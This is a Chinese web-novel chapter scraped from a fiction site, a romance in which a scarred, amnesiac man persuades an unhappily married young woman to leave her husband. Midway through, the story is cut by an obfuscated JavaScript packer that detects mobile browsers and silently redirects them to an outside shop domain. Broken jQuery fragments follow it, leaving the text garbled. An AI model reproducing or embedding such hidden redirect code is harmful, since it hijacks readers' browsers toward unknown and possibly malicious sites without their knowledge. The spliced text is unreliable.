文趣网 > 其他小说 > 招惹疯批君王后 > 11. 丈夫没有吻过我
    室内光线蒙昧,他却莹莹生光,似珍珠白的暖玉精心雕而成。每一处线条都柔韧流利,蕴藏力量。

    肩背舒展如鹤,腰线紧窄,收的极为利落,浑然天成。

    萧承胤怕俞非晚跑,怕她挣扎,更怕为了制住她失了力道,伤了她。

    于是,俞非晚薄红的脸颊被固定在萧承胤规律起伏的腹上,不盈一握的腰也被长臂静静锁着,没留丝毫余地。

    她能清晰感受到萧承胤那层薄薄皮肤下涌起的滚烫温度。随着他的呼吸,肌肉线条微微隆起又平复,像极了藏着蓄势待发的猛兽。

    她曾偶尔见过几次许敛之赤裸上半身的摸样。

    苍白寡淡,又瘦的嶙峋,胸口肋骨根根可数,腰腹处一片平板的松弛,夏日纳凉,他敞开衣襟,腹部软皮塌成了圈,像水面的波纹,不甚美观。

    她曾以为所有男人都一样,无非是衣冠下的肉多点少点、紧点松点而已,没有美丑之分,可面下这具打破了她的固有认知。

    余光匆匆一瞥,他身上的伤痕交错,旧疤叠新疤,充斥着桀骜的野性,呼吸之间块垒滚动,居然还生出了沟壑,对比她的脸颊肉,硬的像铁。

    可虽有沟壑与疤痕,她却觉得甚美。

    “晚晚。”调整呼吸,克制好欲望,沉哑的嗓音从头顶传来:“对不起,我实在是看不得你犹豫。人非草木,朝夕相处三载,孰能无情。我理解,可我控制不止自己的嫉妒心,一想到他吻过你……”

    “他没有吻过我!”俞非晚小喘着气打断,回忆起过往,她的嗓音越来越低:“他嫌口津相交脏污,既不吻我,也不准我吻他。家中的饭食、杯盘都是分开的,他吃他的,我吃我的。”

    甚至由此,她的婆母连偏心都偏的光明正大,一只鸡,她得的多是皮骨相连之处;一条鱼她分到的是头尾;荤素交杂的菜,她分到的只有素;些许昂贵的时令鲜菜,干脆没有她的份。

    她还记得有一年仲夏,她从外头回来太渴,忍不住喝了许敛之盏里的水,他嫌弃的当场丢了杯子。

    俞非晚抿了抿微微发肿发烫的唇,将脸彻底埋入了他块垒分明的腹中,泪水接连滚落,多年积攒的委屈怦然爆发。

    她哭出了声,又怕被第三人听见,只好把声音死死压在喉咙里,只漏出断续的呜咽。

    她努力抬手拥住了窄紧的腰,怕他没听清,又抽噎着强调:“我的丈夫没有亲吻过我,任何地方都没有,你是第一个,所以不用嫉妒,你这么好的人,嫉妒他不值得。”

    尾音刚落,俞非晚便觉得身前的躯体骤然紧绷了。

    随即遒劲有力的五指插入了她的发间,像是在竭力压制着什么。

    她泪眼模糊地仰起头,对上他的眼睛,落入几乎要将人灼伤的炽烈中。

    萧承胤难以置信,又觉得荒唐,他拉住俞非晚的手,蹲下。身与她视线平齐,声音低的像是害怕惊碎什么:“我是第一个?你是他的妻,他却嫌弃你!还分食?”

    俞非晚红着眼眶用力点了点头,肯定道:“嗯,你没听错。”

    不等他消化,又一个巨大的好消息劈头盖脸的砸向了他。

    “你非我夫。”俞非晚抿了抿唇,“你在我面前不着上衣,又不经过我的同意吻我,可我一点都不生气,不反感,不厌恶。”

    她顿了顿,目光里有茫然、怯意,还有一点刚冒头的、自己都不敢相信的明悟,“这种情况,是不是代表我喜欢你?”

    冒失问出这句话,她又慌了起来,像是被自己的问题吓到了,黑长的睫毛快速颤了颤,“可是我有丈夫,我还没和离,我在已婚的时候喜欢上你……我是不是坏女人,道德有瑕疵,配不上这样好的你?还有刚才,我以为你偷偷走了,我的胸口好痛,像少了一块肉。”

    听到俞非晚说喜欢他,萧承胤心尖猛地一颤,却来不及欢喜。

    他被俞非晚眼底的茫然与怯意刺痛,他重重滚了滚喉结,硬生生压住翻涌的火气,用带着厚茧的指腹小心翼翼的抹去俞非晚眼眶中快要滚出的泪水。

    他柔声引导,像诱哄:“你是因为喜欢他,才嫁给他的吗?”

    俞非晚老实摇了摇头:“父母让我嫁的,说他老实本分,前途无量,相貌也过得去。”

    萧承胤:“你才十九岁,大好年华,至少还有三四十年好活,你能忍受他做你三四十年的丈夫吗?”

    俞非晚没有犹豫:“不能,以前忍一忍也许能的,可在林子里遇见你之后好像就不行了。”

    她的视线下落,隔空指了指他的腹,红着鼻头,忍着抽噎,“我想每年夏天都能看见有沟的肚皮;想丈夫能够抱得动我;想冬天可以被珍惜的护在怀里,被对方温暖的体温烘烤。”

    她神思一恍,垂眸小声说:“我不喜欢分被窝睡。”

    见她的眼泪又将流下,萧承胤不太会安慰人,直接带着她的手按在了肋下第二块薄而坚韧的肌肉上。

    “喜欢就多摸两下,不仅仅可以看。”他慢声开导道:“你既不喜欢他,他也给不了你想要的生活,所以你该休了他的,这段婚姻就不该存续。晚晚,你不坏,道德也没有瑕疵,至于配不配得上我,我觉得你配,你就配。若以后在旁人那里听见闲言碎语,说你不配,那叫长舌,搬弄是非,离间夫妻,死后会下三大狱。”

    “可是……”

    “没有可是!”萧承胤语速极快。

    俞非晚是个老实又执着的人,没放弃:“可是人人都说女子该从一而终,守着贞洁。”

    原本她打算和离,不再嫁的,或者被休也行,她不在乎世上的风言风语,大不了找个没人认识她,且人烟稀少的地方生活。

    “人人都认定的规则不一定就是对的。”萧承胤虽然失忆,但积攒的学识还在,他徐徐道来:“往近的说,我朝刚建立时天下历经战乱,人口锐减、社会动荡,传统的伦理纲常遭到严重破坏,所以急需建立有效的纲常伦理,‘忠孝节义’便是最佳选择,落实到实地,其中之一便是,寡妇三十以前为亡夫守制,五十以后未改嫁,由官府奏报旌表,在其家门立贞节牌坊,并免除本家的差役,甚至每年都有银子拨下来。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585258|205215||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>他循循善诱:“对家族而言,用一个女子的自由换来全家的免税资格,名利双收;对一个地方官而言,辖区内多出一个节妇,有了政绩;对上位者来说,只是免了一些税收,就让无数家族,自发的约束好家中女子,极大的节省了精力,可是晚晚,你有没有想过那个女子得到了什么?”

    俞非晚很轻的摸了摸男人漂亮结实的腹肌,脑袋开始思考,很快止住了眼泪。

    她手上的动作没停,湿着眼睫,圆睁着杏眼,沉思片刻后开口:“好像没得到什么好的,你这么一说,女子守洁像是成了一笔好买卖,那往远的说呢?”

    “往远的说……”萧承胤话语一顿,捉住俞非晚在同一片区域作乱的手,他忍着逐渐茁壮抬头的欲,温声教导:“晚晚,不能只认一个地方摸,要用力,不然我会难受。”

    俞非晚眨巴了两下眼睛,不理解,“为什么会难受?用力会弄疼你。”

    想到她那连拥抱、亲吻都不肯给的丈夫,萧承胤一时语塞。

    他猜,她的丈夫说不定连身体都不肯让她触碰,才会导致她在情事上的无知。

    进一步,直接给她摸他昂扬的利刃,言传身教,解释清楚,又太唐突无礼。

    萧承胤捏了捏掌心内两只小巧绵软的手,思量片刻,第一次对她撒了谎:“因为晚晚摸的有些痒,男人的小腹及其附近区域发痒,就会很想亲吻喜欢的女孩。”

    忆起方才那好似能溺毙她的吻,俞非晚不自觉地缩了缩肩,躲闪着眼神,纠结发问:“你现在很想……吻我吗?”

    萧承胤没第一时间回答。

    他暗自调了蹲姿,遮掩丑态,而后撩起眼皮,目光又深又沉的落在她的脸上,抛回问题:“我想就能吗?”

    避开他那灼热的视线,俞非晚想说不能,可话到嘴边像是被什么堵住了,她攥了攥他的手指,声音小的她自己都不太听的清:“你要是轻一点,吻的时候准我呼吸,还是可以的。”

    说完,她就像花完了所有勇气,偏过头不敢看他,只留给萧承胤一个通红的耳廓。

    萧承胤一愣。

    这是意料之外的答案,他的晚晚比他想象中的更勇敢。

    他忍不住笑出了声。

    这是俞非晚第一次听他笑,是从胸腔最深处漫上来的,又磁又沉,似古琴悠韵,震的她的心跳乱成了一团。

    “你笑什么……”她回头质问,声音发虚,像是在撒娇。

    “你很勇敢,晚晚。”萧承胤毫不吝啬的夸道。

    他不动声色的瞥了眼已经消停的二弟,缓缓站起身。

    俞非晚感觉头顶落下了一片深厚的阴影,还没来得及抬眼,就被粗砺的指节抬起了下巴。

    力道虽轻,却不容躲闪。

    “晚晚。”他低头,滚烫的气息重重碾过她的唇,“这辈子我只会吻自己的妻,你要想好。方才是强迫,这次我准你退却。如果等结束你还未退却,这辈子,天涯海角,刀山火海,神阙阴司你都跑不掉了,如果敢退缩逃跑,我可能会失去理智,把你困锁起来。”